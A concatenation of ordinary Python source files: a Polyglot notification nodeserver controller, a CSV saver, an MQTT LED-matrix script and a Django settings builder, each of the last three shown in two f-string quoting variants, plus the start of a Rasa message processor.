list() self.messages = data.get('messages',el) LOGGER.info('messages={}'.format(self.messages)) if len(self.messages) == 0: LOGGER.info('No messages') # # List of all service node names snames = dict() # List of errors to print at the end in a Notice err_list = list() # # Check the pushover configs are all good # pushover = data.get('pushover',el) # Pushover node names pnames = dict() LOGGER.info('pushover={}'.format(pushover)) if len(pushover) == 0: LOGGER.warning("No Pushover Entries in the config: {}".format(pushover)) pushover = None else: for pd in pushover: sname = pd['name'] # Save info for later pd['type'] = 'pushover' snames[sname] = pd # Check for duplicates address = self.get_service_node_address(sname) if not address in pnames: pnames[address] = list() pnames[address].append(sname) for address in pnames: if len(pnames[address]) > 1: err_list.append("Duplicate pushover names for {} items {} from {}".format(len(pnames[address]),address,",".join(pnames[address]))) # # Check the telegramub configs are all good # telegramub = data.get('telegramub',el) # Pushover node names tnames = dict() LOGGER.info('telegramub={}'.format(telegramub)) if len(telegramub) == 0: LOGGER.warning("No Telegram User Bot Entries in the config: {}".format(telegramub)) telegramub = None else: for pd in telegramub: if 'name' in pd: sname = pd['name'] else: sname = 'telegramub' # Save info for later pd['type'] = 'telegramub' snames[sname] = pd # Check for duplicates... address = self.get_service_node_address_telegramub(sname) if not address in tnames: tnames[address] = list() tnames[address].append(sname) for address in tnames: if len(tnames[address]) > 1: err_list.append("Duplicate names for {} items {} from {}".format(len(tnames[address]),address,",".join(tnames[address]))) # # Check the message notify_nodes are all good # notify_nodes = data.get('notify',el) if len(notify_nodes) == 0: LOGGER.warning('No Notify Nodes') else: # First check that notify_nodes are valid before we try to add them mnames = dict() for node in notify_nodes: address = self.get_message_node_address(node['id']) if not address in mnames: mnames[address] = list() mnames[address].append(node['id']) # And check that service node name is known sname = node['service_node_name'] if not sname in snames: err_list.append("Unknown service node name {} in message node {} must be one of {}".format(sname,node['id'],",".join(snames))) for address in mnames: if len(mnames[address]) > 1: err_list.append("Duplicate Notify ids for {} items {} from {}".format(len(mnames[address]),address,",".join(mnames[address]))) # # Any errors, print them and stop # if len(err_list) > 0: cnt = 1 for msg in err_list: LOGGER.error(msg) self.Notices[f'msg{cnt}'] = msg cnt += 1 self.Notices['typed_data'] = f'There are {len(err_list)} errors found please fix Errors and restart.' self.handler_typed_data_st = False return if pushover is not None: self.pushover_session = polyglotSession(self,"https://api.pushover.net",LOGGER) for pd in pushover: snode = self.add_node(Pushover(self, self.address, self.get_service_node_address(pd['name']), get_valid_node_name('Service Pushover '+pd['name']), self.pushover_session, pd)) self.service_nodes.append({ 'name': pd['name'], 'node': snode, 'index': len(self.service_nodes)}) LOGGER.info('service_nodes={}'.format(self.service_nodes)) if telegramub is not None: self.telegramub_session = polyglotSession(self,"https://api.telegram.org",LOGGER) for pd in telegramub: snode = self.add_node(TelegramUB(self, self.address, self.get_service_node_address_telegramub(pd['name']), get_valid_node_name('Service TelegramUB '+pd['name']), self.telegramub_session, pd)) self.service_nodes.append({ 'name': pd['name'], 'node': snode, 'index': len(self.service_nodes)}) LOGGER.info('service_nodes={}'.format(self.service_nodes)) # TODO: Save service_nodes names in customParams if notify_nodes is not None: save = True LOGGER.debug('Adding Notify notify_nodes...') for node in notify_nodes: # TODO: make sure node.service_node_name is valid, and pass service node type (pushover) to addNode, or put in node dict node['service_type'] = snames[node['service_node_name']]['type'] self.add_node(Notify(self, self.address, self.get_message_node_address(node['id']), 'Notify '+get_valid_node_name(node['name']), node)) # When data changes build the profile, except when first starting up since # that will be done by the config handler if not self.first_run: self.write_profile() self.handler_typed_data_st = True def write_profile(self): pfx = 'write_profile' LOGGER.info('enter') # Good unless there is an error. st = True # # First clean out all files we created # for dir in ['profile/editor', 'profile/nodedef']: LOGGER.debug('Cleaning: {}'.format(dir)) for file in os.listdir(dir): LOGGER.debug(file) path = dir+'/'+file if os.path.isfile(path) and file != 'editors.xml' and file != 'nodedefs.xml': LOGGER.debug('Removing: {}'.format(path)) os.remove(path) # Write the profile Data # # There is only one nls, so read the nls template and write the new one # en_us_txt = "profile/nls/en_us.txt" make_file_dir(en_us_txt) template_f = "template/nls/en_us.txt" LOGGER.debug("Reading {}".format(template_f)) nls_tmpl = open(template_f, "r") LOGGER.debug("Writing {}".format(en_us_txt)) nls = open(en_us_txt, "w") nls.write("# From: {}\n".format(template_f)) for line in nls_tmpl: nls.write(line) nls_tmpl.close() # Get all the indexes and write the nls. nls.write("# End: {}\n\n".format(template_f)) msg_cnt = 0 nls.write("# Start: Internal Messages:\n") for message in get_messages(): nls.write("NMESSAGE-{} = {}\n".format(msg_cnt,message)) msg_cnt += 1 nls.write("# End: Internal Messages:\n\n") nls.write("# Start: Custom Messages:\n") ids = list() if self.messages is None: self.messages = list() self.messages.append({'id':0, 'title':"Default"}) LOGGER.warning("No User Messages, define some in Configuration if desired") else: for message in self.messages: try: id = int(message['id']) except: LOGGER.error("message id={} is not an int".format(message['id'])) st = False continue LOGGER.debug(f'MESSAGE:id={id}') ids.append(id) if 'message' not in message or message['message'] == '': message['message'] = message['title'] LOGGER.debug('message={}'.format(message)) nls.write("MID-{} = {}\n".format(message['id'],message['title'])) # nls.write("# End: Custom Messages:\n\n") nls.write("# Start: Service Nodes\n") svc_cnt = 0 nls.write("NFYN--1 = Unknown\n") if self.service_nodes is not None: for pd in self.service_nodes: nls.write("NFYN-{} = {}\n".format(pd['index'],pd['name'])) svc_cnt += 1 nls.write("# End: Service Nodes\n\n") config_info_nr = [ '<h3>Create ISY Network Resources</h3>', '<p>For messages that contain a larger body use ISY Network Resources. More information available at <a href="https://github.com/jimboca/udi-poly-notification/blob/master/README.md#rest-interface" target="_ blank">README - REST Interfae</a>' '<ul>' ] config_info_rest = [ '<h3>Sending REST Commands</h3>', '<p>Pass /send with node=the_node' '<p>By default it is sent based on the current selected params of that node for device and priority.' '<ul>' ] # Call the write profile on all the nodes. nls.write("# Start: Custom Service Nodes:\n") # This is a list of all possible devices we can select, they are provided by the service nodes self.devices = list() for node in self.poly.nodes(): if node.name != self.name: # We have to wait until the node is done initializing since # we can get here before the node is ready. cnt = 60 while node.init_st() is None and cnt > 0: LOGGER.warning(f'Waiting for {node.name} to initialize, timeout in {cnt} seconds...') time.sleep(1) cnt -= 1 if node.init_st(): if cnt < 60: LOGGER.warning(f'{node.name} is initialized...') LOGGER.info('node={} id={}'.format(node.name,node.id)) node.write_profile(nls) config_info_nr.append(node.config_info_nr()) config_info_rest.append(node.config_info_rest()) else: LOGGER.error( 'Node {} failed to initialize init_st={}'.format(node.name, node.init_st())) st = False nls.write("# Start: End Service Nodes:\n") LOGGER.debug("Closing {}".format(en_us_txt)) nls.close() config_info_rest.append('</ul>') self.config_info = config_info_nr + config_info_rest s = "\n" # # SEt the Custom Config Doc # self.poly.setCustomParamsDoc(s.join(self.config_info)) # # editor/custom.xml # # The subset string for message id's full_subset_str = ",".join(map(str,ids)) LOGGER.debug(f"MESSAGE:full_subset_str={full_subset_str}") subset_str = get_subset_str(ids) LOGGER.debug(f"MESSAGE:subset_str={subset_str}") # Open the output editors fileme editor_f = "profile/editor/custom.xml" make_file_dir(editor_f) # Open the template, and read into a string for formatting. template_f = 'template/editor/custom.xml' LOGGER.debug("Reading {}".format(template_f)) with open (template_f, "r") as myfile: data=myfile.read() myfile.close() # Write the editors file with our info LOGGER.debug("Writing {}".format(editor_f)) editor_h = open(editor_f, "w") editor_h.write(data.format(full_subset_str,subset_str,(msg_cnt-1),(svc_cnt-1))) editor_h.close() # # Send it to the ISY # if st: self.poly.updateProfile() return st def handler_log_level(self,level): LOGGER.info(f'enter: level={level}') if level['level'] < 10: LOGGER.info("Setting basic config to DEBUG...") LOG_HANDLER.set_basic_config(True,logging.DEBUG) slevel = logging.DEBUG else: LOGGER.info("Setting basic config to WARNING...") LOG_HANDLER.set_basic_config(True,logging.WARNING) slevel = logging.WARNING #logging.getLogger('requests').setLevel(slevel) #logging.getLogger('urllib3').setLevel(slevel) LOGGER.info(f'exit: slevel={slevel}') def set_message(self,val): self.setDriver('GV2', val) def set_sys_short(self,val): #self.setDriver('GV3', val) self._sys_short_msg = val def get_sys_short(self): return self._sys_short_msg if self._sys_short_msg is not None else "NOT_DEFINED" def cmd_build_profile(self,command): LOGGER.info('cmd_build_profile:') st = self.write_profile() if st: self.poly.updateProfile() return st def cmd_install_profile(self,command): LOGGER.info('cmd_install_profile:') st = self.poly.updateProfile() return st def cmd_set_message(self,command): val = int(command.get('value')) LOGGER.info(val) self.set_message(val) def cmd_set_sys_short(self,command): LOGGER.debug(f'command={command}') self.set_sys_short(command.get('value')) def rest_ghandler(self,command,params,data=None): if not self.handler_params_st: LOGGER.error("Disabled until acknowledge instructions are completed.") mn = 'rest_ghandler' LOGGER.debug('command={} params={} data={}'.format(command,params,data)) # Receive error? if command == "receive_error": LOGGER.error(params % data) self.setDriver("GV1",3) return True self.setDriver("GV1",1) # data has body then we only have text data, so make that the message if not data is None and 'body' in data: data = {'message': data['body']} # # Params override body data # for key, value in params.items(): data[key] = value LOGGER.debug('data={}'.format(data)) if command == '/send': if not 'node' in data: LOGGER.error( 'node not passed in for send params: {}'.format(data)) return False fnode = self.get_service_node(data['node']) if fnode is False: LOGGER.error( 'unknown service node "{}"'.format(data['node'])) return False subject = None if 'subject' in data: data['title'] = data['subject'] return fnode['node'].rest_send(data) LOGGER.error('Unknown command "{}"'.format(command)) return False id = 'controller' commands = { 'SET_MESSAGE': cmd_set_message, 'SET_SYS_SHORT': cmd_set_sys_short, #'SET_SHORTPOLL': cmd_set_short_poll, #'SET_LONGPOLL': cmd_set_long_poll, 'QUERY': query, 'BUILD_PROFILE': cmd_build_profile, 'INSTALL_PROFILE': cmd_install_profile, } drivers = [ {'driver': 'ST', 'value': 1, 'uom': 25}, # Nodeserver status {'driver': 'GV1', 'value': 0, 'uom': 25}, # REST Status {'driver': 'GV2', 'value': 0, 'uom': 25}, # Message {'driver': 'GV3', 'value': 0, 'uom': 146}, # Custom Content ]
from typing import Dict, Any, List, Union import os import csv from pathlib import Path from loguru import logger from parqser.saver import BaseSaver class CSVSaver(BaseSaver): def __init__(self, path: str, columns: List[str] = [], sep=','): self._check_dir_exists(path) self.path = path self.sep = sep self.columns = self._validate_file_columns(path, sep, columns) def _check_dir_exists(self, path: str): path = Path(path).parent if not os.path.exists(path): raise AttributeError(f'Cant get given file. Path {path} doesnt exist') def _validate_file_columns(self, path: str, sep: str, columns: List[str]) -> Union[None, List[str]]: """If file exists, checks if file columns matches with given columns""" if os.path.exists(path): readen_columns = open(path).readline().strip().split(sep) if not len(columns): # Use columns from file columns = readen_columns elif columns != readen_columns: raise AttributeError(f'given columns doesnt match with columns in file {path}') else: if not len(columns): logger.warning('No columns given. Csv header will be determined by first record keys') columns = None return columns def save(self, params: Dict[str, Any]): self.save_batch([params]) def save_batch(self, params: List[Dict[str, Any]]): if len(params) == 0: raise AttributeError('Records batch shouldnt be empty') with open(self.path, 'a') as f: writer = csv.writer(f, delimiter=self.sep, quotechar='"') if self.columns is None: # use first record columns as header self.columns = sorted(params[0].keys()) writer.writerow(self.columns) if not all(map(lambda params: set(params.keys()) == set(self.columns), params)): raise AttributeError(f'Unexpected columns in batch. Only columns {', '.join(self.columns)} should be used') for param in params: # order values values = [str(param[col]) for col in self.columns] writer.writerow(values)
from typing import Dict, Any, List, Union import os import csv from pathlib import Path from loguru import logger from parqser.saver import BaseSaver class CSVSaver(BaseSaver): def __init__(self, path: str, columns: List[str] = [], sep=','): self._check_dir_exists(path) self.path = path self.sep = sep self.columns = self._validate_file_columns(path, sep, columns) def _check_dir_exists(self, path: str): path = Path(path).parent if not os.path.exists(path): raise AttributeError(f'Cant get given file. Path {path} doesnt exist') def _validate_file_columns(self, path: str, sep: str, columns: List[str]) -> Union[None, List[str]]: """If file exists, checks if file columns matches with given columns""" if os.path.exists(path): readen_columns = open(path).readline().strip().split(sep) if not len(columns): # Use columns from file columns = readen_columns elif columns != readen_columns: raise AttributeError(f'given columns doesnt match with columns in file {path}') else: if not len(columns): logger.warning('No columns given. Csv header will be determined by first record keys') columns = None return columns def save(self, params: Dict[str, Any]): self.save_batch([params]) def save_batch(self, params: List[Dict[str, Any]]): if len(params) == 0: raise AttributeError('Records batch shouldnt be empty') with open(self.path, 'a') as f: writer = csv.writer(f, delimiter=self.sep, quotechar='"') if self.columns is None: # use first record columns as header self.columns = sorted(params[0].keys()) writer.writerow(self.columns) if not all(map(lambda params: set(params.keys()) == set(self.columns), params)): raise AttributeError(f'Unexpected columns in batch. Only columns {", ".join(self.columns)} should be used') for param in params: # order values values = [str(param[col]) for col in self.columns] writer.writerow(values)
# Standard import json import re import os.path import configparser # Third party import requests import paho.mqtt.client as mqtt from neopixel import Adafruit_NeoPixel as Matrix, Color # Local from topics import Topic from leds import leds from colors import colors currentDirectory = os.path.dirname(__file__) configPath = os.path.join(currentDirectory, './config.ini') config = configparser.ConfigParser(inline_comment_prefixes=('#')) config.read(configPath) cfgMQTT = config['MQTT'] cfgAPI = config['API'] cfgPayload = config['Payload'] cfgMatrix = config['Matrix'] cfgOther = config['Other'] matrix = Matrix(cfgMatrix.getint('LED-Count'), cfgMatrix.getint('Pin'), 800000, 10, False, cfgMatrix.getint('Brightness'), cfgMatrix.getint('Channel')) client = mqtt.Client() def setLedById(ledId, color): try: led = ledIdToLed(ledId) (r, g, b) = colorToRGB(color) matrix.setPixelColor(led, Color(r, g, b)) matrix.show() except Exception as error: print(error) # Raises exceptions def ledIdToLed(ledId): match = re.match(r'^led-([0-7])-([0-7])$', ledId, flags=0) if match: x = int(match.group(1)) y = int(match.group(2)) return leds[x][y] else: raise Exception('Could not find a match.') def colorToRGB(color): return colors[color] def clearAll(): setAll(cfgOther['Clear-Color']) def setAll(color): (r, g, b) = colorToRGB(color) for row in leds: for led in row: matrix.setPixelColor(led, Color(r, g, b)) matrix.show() def setState(): try: request = requests.get(f'{cfgAPI['URL']}/state') state = request.json() for led in state[cfgPayload['LEDs']]: setLedById(led[cfgPayload['LED-ID']], led[cfgPayload['Color']]) except Exception as error: print(error) def start(): matrix.begin() client.on_connect = onConnect client.on_disconnect = onDisconnect client.on_message = onMessage client.connect(cfgMQTT['URL'], cfgMQTT.getint('Port'), 60) client.loop_forever() def onConnect(client, userdata, flags, rc): print('Connected to MQTT Broker.') subscribe() setState() def onDisconnect(client, userdata, rc): print('Disconnected from MQTT Broker.') clearAll() def onMessage(client, userdata, msg): topic = msg.topic payload = msg.payload.decode(cfgAPI['Encoding']) if topic == Topic.LED.value: try: payload = json.loads(payload) setLedById(payload[cfgPayload['LED-ID']], payload[cfgPayload['Color']]) except Exception as error: print(error) elif topic == Topic.CLEAR.value: clearAll() elif topic == Topic.SET.value: try: payload = json.loads(payload) setAll(payload[cfgPayload['Color']]) except Exception as error: print(error) def subscribe(): for topic in Topic: client.subscribe(topic.value) if __name__ == '__main__': try: start() except KeyboardInterrupt: clearAll()
# Standard import json import re import os.path import configparser # Third party import requests import paho.mqtt.client as mqtt from neopixel import Adafruit_NeoPixel as Matrix, Color # Local from topics import Topic from leds import leds from colors import colors currentDirectory = os.path.dirname(__file__) configPath = os.path.join(currentDirectory, './config.ini') config = configparser.ConfigParser(inline_comment_prefixes=('#')) config.read(configPath) cfgMQTT = config['MQTT'] cfgAPI = config['API'] cfgPayload = config['Payload'] cfgMatrix = config['Matrix'] cfgOther = config['Other'] matrix = Matrix(cfgMatrix.getint('LED-Count'), cfgMatrix.getint('Pin'), 800000, 10, False, cfgMatrix.getint('Brightness'), cfgMatrix.getint('Channel')) client = mqtt.Client() def setLedById(ledId, color): try: led = ledIdToLed(ledId) (r, g, b) = colorToRGB(color) matrix.setPixelColor(led, Color(r, g, b)) matrix.show() except Exception as error: print(error) # Raises exceptions def ledIdToLed(ledId): match = re.match(r'^led-([0-7])-([0-7])$', ledId, flags=0) if match: x = int(match.group(1)) y = int(match.group(2)) return leds[x][y] else: raise Exception('Could not find a match.') def colorToRGB(color): return colors[color] def clearAll(): setAll(cfgOther['Clear-Color']) def setAll(color): (r, g, b) = colorToRGB(color) for row in leds: for led in row: matrix.setPixelColor(led, Color(r, g, b)) matrix.show() def setState(): try: request = requests.get(f'{cfgAPI["URL"]}/state') state = request.json() for led in state[cfgPayload['LEDs']]: setLedById(led[cfgPayload['LED-ID']], led[cfgPayload['Color']]) except Exception as error: print(error) def start(): matrix.begin() client.on_connect = onConnect client.on_disconnect = onDisconnect client.on_message = onMessage client.connect(cfgMQTT['URL'], cfgMQTT.getint('Port'), 60) client.loop_forever() def onConnect(client, userdata, flags, rc): print('Connected to MQTT Broker.') subscribe() setState() def onDisconnect(client, userdata, rc): print('Disconnected from MQTT Broker.') clearAll() def onMessage(client, userdata, msg): topic = msg.topic payload = msg.payload.decode(cfgAPI['Encoding']) if topic == Topic.LED.value: try: payload = json.loads(payload) setLedById(payload[cfgPayload['LED-ID']], payload[cfgPayload['Color']]) except Exception as error: print(error) elif topic == Topic.CLEAR.value: clearAll() elif topic == Topic.SET.value: try: payload = json.loads(payload) setAll(payload[cfgPayload['Color']]) except Exception as error: print(error) def subscribe(): for topic in Topic: client.subscribe(topic.value) if __name__ == '__main__': try: start() except KeyboardInterrupt: clearAll()
from django.apps import apps from bsm_config.settings import site_setting, WEBSITE_CONFIG from bsm_config.site_setting import default_get_field, default_get_schemas def get_settins(): view_keys = [] if WEBSITE_CONFIG: for section in WEBSITE_CONFIG: for field in section['fields']: if field.get('public',False): view_keys.append(field['name']) setting_dict = site_setting.get_values(view_keys) return setting_dict def get_setting_config(): config = [] if WEBSITE_CONFIG: for section in WEBSITE_CONFIG: values = {} fields = [] formFields = [] model = section['key'] group_name = f'{model}_group' for field in section['fields']: f = field.get_field() if hasattr(field, 'get_field') else default_get_field(field) fields.append(f) formField = {'name': field.get('name',''),} if 'widget' in field: formField['widget'] = field['widget'] if 'show' in field: formField['show'] = field['show'] if 'options' in field: formField['options'] = field['options'] formFields.append(formField) value = site_setting[field['name']] # 在site_setting里已经处理好default这个逻辑了,所以注释了 #if value==None: # value = field.get('default',None) if f['type'] in ('mref',): f['ref'] = field['ref'] if not value: value = [] if value: app, model = f['ref'].split('__') Model = apps.get_app_config(app).get_model(model.capitalize()) value = Model.objects.filter(pk__in=value).values() values[field['name']] = value setting = { "title": section.get('title',None), "model": model, "schemas": getattr(section, 'get_schemas', default_get_schemas)({model:{"fields":fields}}), 'admins': {model: {"formFields": formFields}}, "values": values, "help_text": section.get('help_text',''), "permission_code": f'bsm_config.{section.get('permission_code','')}' } config.append(setting) return config
from django.apps import apps from bsm_config.settings import site_setting, WEBSITE_CONFIG from bsm_config.site_setting import default_get_field, default_get_schemas def get_settins(): view_keys = [] if WEBSITE_CONFIG: for section in WEBSITE_CONFIG: for field in section['fields']: if field.get('public',False): view_keys.append(field['name']) setting_dict = site_setting.get_values(view_keys) return setting_dict def get_setting_config(): config = [] if WEBSITE_CONFIG: for section in WEBSITE_CONFIG: values = {} fields = [] formFields = [] model = section['key'] group_name = f'{model}_group' for field in section['fields']: f = field.get_field() if hasattr(field, 'get_field') else default_get_field(field) fields.append(f) formField = {'name': field.get('name',''),} if 'widget' in field: formField['widget'] = field['widget'] if 'show' in field: formField['show'] = field['show'] if 'options' in field: formField['options'] = field['options'] formFields.append(formField) value = site_setting[field['name']] # 在site_setting里已经处理好default这个逻辑了,所以注释了 #if value==None: # value = field.get('default',None) if f['type'] in ('mref',): f['ref'] = field['ref'] if not value: value = [] if value: app, model = f['ref'].split('__') Model = apps.get_app_config(app).get_model(model.capitalize()) value = Model.objects.filter(pk__in=value).values() values[field['name']] = value setting = { "title": section.get('title',None), "model": model, "schemas": getattr(section, 'get_schemas', default_get_schemas)({model:{"fields":fields}}), 'admins': {model: {"formFields": formFields}}, "values": values, "help_text": section.get('help_text',''), "permission_code": f'bsm_config.{section.get("permission_code","")}' } config.append(setting) return config
import json import warnings import logging import os from types import LambdaType from typing import Any, Dict, List, Optional, Text, Tuple import numpy as np import time from rasa.core import jobs from rasa.core.actions.action import Action from rasa.core.actions.action import ACTION_LISTEN_NAME, ActionExecutionRejection from rasa.core.channels.channel import ( CollectingOutputChannel, UserMessage, OutputChannel, ) from rasa.core.constants import ( ACTION_NAME_SENDER_ID_CONNECTOR_STR, USER_INTENT_RESTART, UTTER_PREFIX, USER_INTENT_BACK, USER_INTENT_OUT_OF_SCOPE, ) from rasa.core.domain import Domain from rasa.core.events import ( ActionExecuted, ActionExecutionRejected, Event, ReminderCancelled, ReminderScheduled, SlotSet, UserUttered, BotUttered, ) from rasa.core.interpreter import ( INTENT_MESSAGE_PREFIX, NaturalLanguageInterpreter, RegexInterpreter, ) from rasa.core.nlg import NaturalLanguageGenerator from rasa.core.policies.ensemble import PolicyEnsemble from rasa.core.tracker_store import TrackerStore from rasa.core.trackers import DialogueStateTracker, EventVerbosity from rasa.utils.endpoints import EndpointConfig logger = logging.getLogger(__name__) MAX_NUMBER_OF_PREDICTIONS = int(os.environ.get("MAX_NUMBER_OF_PREDICTIONS", "10")) class MessageProcessor: def __init__( self, interpreter: NaturalLanguageInterpreter, policy_ensemble: PolicyEnsemble, domain: Domain, tracker_store: TrackerStore, generator: NaturalLanguageGenerator, action_endpoint: Optional[EndpointConfig] = None, max_number_of_predictions: int = MAX_NUMBER_OF_PREDICTIONS, message_preprocessor: Optional[LambdaType] = None, on_circuit_break: Optional[LambdaType] = None, ): self.interpreter = interpreter self.nlg = generator self.policy_ensemble = policy_ensemble self.domain = domain self.tracker_store = tracker_store self.max_number_of_predictions = max_number_of_predictions self.message_preprocessor = message_preprocessor self.on_circuit_break = on_circuit_break self.action_endpoint = action_endpoint async def handle_message( self, message: UserMessage ) -> Optional[List[Dict[Text, Any]]]: """Handle a single message with this processor.""" # preprocess message if necessary tracker = await self.log_message(message, should_save_tracker=False) if not tracker: return None if not self.policy_ensemble or not self.domain: # save tracker state to continue conversation from this state self._save_tracker(tracker) warnings.warn( "No policy ensemble or domain set. Skipping action prediction " "and execution." ) return None await self._predict_and_execute_next_action(message, tracker) # save tracker state to continue conversation from this state self._save_tracker(tracker) if isinstance(message.output_channel, CollectingOutputChannel): return message.output_channel.messages else: return None def predict_next(self, sender_id: Text) -> Optional[Dict[Text, Any]]: # we have a Tracker instance for each user # which maintains conversation state tracker = self._get_tracker(sender_id) if not tracker: logger.warning( f"Failed to retrieve or create tracker for sender '{sender_id}'." ) return None if not self.policy_ensemble or not self.domain: # save tracker state to continue conversation from this state warnings.warn( "No policy ensemble or domain set. Skipping action prediction " ) return None probabilities, policy = self._get_next_action_probabilities(tracker) # save tracker state to continue conversation from this state self._save_tracker(tracker) scores = [ {"action": a, "score": p} for a, p in zip(self.domain.action_names, probabilities) ] return { "scores": scores, "policy": policy, "confidence": np.max(probabilities), "tracker": tracker.current_state(EventVerbosity.AFTER_RESTART), } async def log_message( self, message: UserMessage, should_save_tracker: bool = True ) -> Optional[DialogueStateTracker]: """Log `message` on tracker belonging to the message's conversation_id. Optionally save the tracker if `should_save_tracker` is `True`. Tracker saving can be skipped if the tracker returned by this method is used for further processing and saved at a later stage. """ # preprocess message if necessary if self.message_preprocessor is not None: message.text = self.message_preprocessor(message.text) # we have a Tracker instance for each user # which maintains conversation state tracker = self._get_tracker(message.sender_id) if tracker: await self._handle_message_with_tracker(message, tracker) if should_save_tracker: # save tracker state to continue conversation from this state self._save_tracker(tracker) else: logger.warning( "Failed to retrieve or create tracker for sender " f"'{message.sender_id}'." ) return tracker async def execute_action( self, sender_id: Text, action_name: Text, output_channel: OutputChannel, nlg: NaturalLanguageGenerator, policy: Text, confidence: float, ) -> Optional[DialogueStateTracker]: # we have a Tracker instance for each user # which maintains conversation state tracker = self._get_tracker(sender_id) if tracker: action = self._get_action(action_name) await self._run_action( action, tracker, output_channel, nlg, policy, confidence ) # save tracker state to continue conversation from this state self._save_tracker(tracker) else: logger.warning( f"Failed to retrieve or create tracker for sender '{sender_id}'." ) return tracker def predict_next_action( self, tracker: DialogueStateTracker ) -> Tuple[Action, Text, float]: """Predicts the next action the bot should take after seeing x. This should be overwritten by more advanced policies to use ML to predict the action. Returns the index of the next action.""" action_confidences, policy = self._get_next_action_probabilities(tracker) max_confidence_index = int(np.argmax(action_confidences)) action = self.domain.action_for_index( max_confidence_index, self.action_endpoint ) logger.debug( "Predicted next action '{}' with confidence {:.2f}.".format( action.name(), action_confidences[max_confidence_index] ) ) return action, policy, action_confidences[max_confidence_index] @staticmethod def _is_reminder(e: Event, name: Text) -> bool: return isinstance(e, ReminderScheduled) and e.name == name @staticmethod def _is_reminder_still_valid( tracker: DialogueStateTracker, reminder_event: ReminderScheduled ) -> bool: """Check if the conversation has been restarted after reminder.""" for e in reversed(tracker.applied_events()): if MessageProcessor._is_reminder(e, reminder_event.name): return True return False # not found in applied events --> has been restarted @staticmethod def _has_message_after_reminder( tracker: DialogueStateTracker, reminder_event: ReminderScheduled ) -> bool: """Check if the user sent a message after the reminder.""" for e in reversed(tracker.events): if MessageProcessor._is_reminder(e, reminder_event.name): return False elif isinstance(e, UserUttered) and e.text: return True return True # tracker has probably been restarted async def handle_reminder( self, reminder_event: ReminderScheduled, sender_id: Text, output_channel: OutputChannel, nlg: NaturalLanguageGenerator, ) -> None: """Handle a reminder that is triggered asynchronously.""" tracker = self._get_tracker(sender_id) if not tracker: logger.warning( f"Failed to retrieve or create tracker for sender '{sender_id}'." ) return None if ( reminder_event.kill_on_user_message and self._has_message_after_reminder(tracker, reminder_event) or not self._is_reminder_still_valid(tracker, reminder_event) ): logger.debug( "Canceled reminder because it is outdated. " "(event: {} id: {})".format( reminder_event.action_name, reminder_event.name ) ) else: # necessary for proper featurization, otherwise the previous # unrelated message would influence featurization tracker.update(UserUttered.empty()) action = self._get_action(reminder_event.action_name) should_continue = await self._run_action( action, tracker, output_channel, nlg ) if should_continue: user_msg = UserMessage(None, output_channel, sender_id) await self._predict_and_execute_next_action(user_msg, tracker) # save tracker state to continue conversation from this state self._save_tracker(tracker) @staticmethod def _log_slots(tracker): # Log currently set slots slot_values = "\n".join( [f"\t{s.name}: {s.value}" for s in tracker.slots.values()] ) if slot_values.strip(): logger.debug(f"Current slot values: \n{slot_values}") def _log_unseen_features(self, parse_data: Dict[Text, Any]) -> None: """Check if the NLU interpreter picks up intents or entities that aren't recognized.""" domain_is_not_empty = self.domain and not self.domain.is_empty() default_intents = [ USER_INTENT_RESTART, USER_INTENT_BACK, USER_INTENT_OUT_OF_SCOPE, ] intent = parse_data["intent"]["name"] if intent: intent_is_recognized = ( domain_is_not_empty and intent in self.domain.intents ) or intent in default_intents if not intent_is_recognized: warnings.warn( f"Interpreter parsed an intent '{intent}' " "that is not defined in the domain." ) entities = parse_data["entities"] or [] for element in entities: entity = element["entity"] if entity and domain_is_not_empty and entity not in self.domain.entities: warnings.warn( f"Interpreter parsed an entity '{entity}' " "that is not defined in the domain." ) def _get_action(self, action_name): return self.domain.action_for_name(action_name, self.action_endpoint) async def _parse_message(self, message, tracker: DialogueStateTracker = None): # for testing - you can short-cut the NLU part with a message # in the format /intent{"entity1": val1, "entity2": val2} # parse_data is a dict of intent & entities if message.text.startswith(INTENT_MESSAGE_PREFIX): parse_data = await RegexInterpreter().parse( message.text, message.message_id, tracker ) else: parse_data = await self.interpreter.parse( message.text, message.message_id, tracker ) logger.debug( "Received user message '{}' with intent '{}' " "and entities '{}'".format( message.text, parse_data["intent"], parse_data["entities"] ) ) self._log_unseen_features(parse_data) return parse_data async def _handle_message_with_tracker( self, message: UserMessage, tracker: DialogueStateTracker ) -> None: if message.parse_data: parse_data = message.parse_data else: parse_data = await self._parse_message(message, tracker) # don't ever directly mutate the tracker # - instead pass its events to log tracker.update( UserUttered( message.text, parse_data["intent"], parse_data["entities"], parse_data, input_channel=message.input_channel, message_id=message.message_id, metadata=message.metadata, ), self.domain, ) if parse_data["entities"]: self._log_slots(tracker) logger.debug( "Logged UserUtterance - " "tracker now has {} events".format(len(tracker.events)) ) @staticmethod def _should_handle_message(tracker: DialogueStateTracker): return ( not tracker.is_paused() or tracker.latest_message.intent.get("name") == USER_INTENT_RESTART ) async def _predict_and_execute_next_action( self, message: UserMessage, tracker: DialogueStateTracker ): # keep taking actions decided by the policy until it chooses to 'listen' should_predict_another_action = True num_predicted_actions = 0 def is_action_limit_reached(): return ( num_predicted_actions == self.max_number_of_predictions and should_predict_another_action ) # action loop. predicts actions until we hit action listen while ( should_predict_another_action and self._should_handle_message(tracker) and num_predicted_actions < self.max_number_of_predictions ): # this actually just calls the policy's method by the same name action, policy, confidence = self.predict_next_action(tracker) should_predict_another_action = await self._run_action( action, tracker, message.output_channel, self.nlg, policy, confidence ) num_predicted_actions += 1 if is_action_limit_reached(): # circuit breaker was tripped logger.warning( "Circuit breaker tripped. Stopped predicting " f"more actions for sender '{tracker.sender_id}'." ) if self.on_circuit_break: # call a registered callback self.on_circuit_break(tracker, message.output_channel, self.nlg) # noinspection PyUnusedLocal @staticmethod def should_predict_another_action(action_name, events): is_listen_action = action_name == ACTION_LISTEN_NAME return not is_listen_action @staticmethod async def _send_bot_messages( events: List[Event], tracker: DialogueStateTracker, output_channel: OutputChannel, ) -> None: """Send all the bot messages that are logged in the events array.""" for e in events: if not isinstance(e, BotUttered): continue await output_channel.send_response(tracker.sender_id, e.message()) async def _schedule_reminders( self, events: List[Event], tracker: DialogueStateTracker, output_channel: OutputChannel, nlg: NaturalLanguageGenerator, ) -> None: """Uses the scheduler to time a job to trigger the passed reminder. Reminders with the same `id` property will overwrite one another (i.e. only one of them will eventually run).""" for e in events: if not isinstance(e, ReminderScheduled): continue (await jobs.scheduler()).add_job( self.handle_reminder, "date", run_date=e.trigger_date_time, args=[e, tracker.sender_id, output_channel, nlg], id=e.name, replace_existing=True, name=( str(e.action_name) + 